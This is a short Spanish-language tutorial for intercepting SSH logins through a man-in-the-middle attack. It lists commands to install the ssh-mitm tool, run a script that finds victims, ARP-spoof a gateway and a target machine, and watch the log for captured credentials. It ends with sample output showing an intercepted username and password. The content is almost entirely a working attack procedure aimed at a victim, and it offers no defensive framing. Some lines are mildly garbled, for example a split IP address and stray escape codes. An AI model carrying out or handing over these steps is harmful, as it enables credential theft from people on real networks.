## Hacking SSH (Man-in-the Middle)

## Instalación

```
1.git clone https://github.com/jtesta/ssh-mitm.git
2.En el directorio ssh-mitm ./install.sh
```

## **Ejecución**

- 1. Luego (con permisos de root y en el directorio donde clonamos el repositorio), ejecutamos: ./start.sh
- 2.python .``/JoesAwesomeSSHMITMVictimFinder``.py --interface eth0 -block-size 255
- 3. En otra terminal colocamos el comando arpspoof -r -t 192.168.1.1 192.168.1.4
- 4. Abrimos una tercera terminal y ejecutamos: tail -f /var/log/auth.log
- 5. Ahora, cuando la victima intente conectarse por **ssh**, podremos ver en los logs el usuario y contraseña:

```
B^[[A^[[AOct 25 11:46:07 toborochi sshd_mitm[11724]: INTERCEPTED PASSWORD: hostname: [192.1 68.1.4]; username: [toborochi]; password: [vlada.free98] [preauth]
Oct 25 11:46:07 toborochi sshd_mitm[11724]: Accepted password for ssh-mitm from 192.168.1.2 por t 38296 ssh2
Oct 25 11:46:07 toborochi sshd_mitm[11726]: MITM: rejecting env request.
Oct 25 11:46:07 toborochi sshd_mitm[11726]: MITM: rejecting env request.
```

## Referencias

- https://www.riccardoancarani.it/man-in-the-middle-ssh-yes-please/
- <a href="https://miloserdov.org/?p=3699">https://miloserdov.org/?p=3699</a>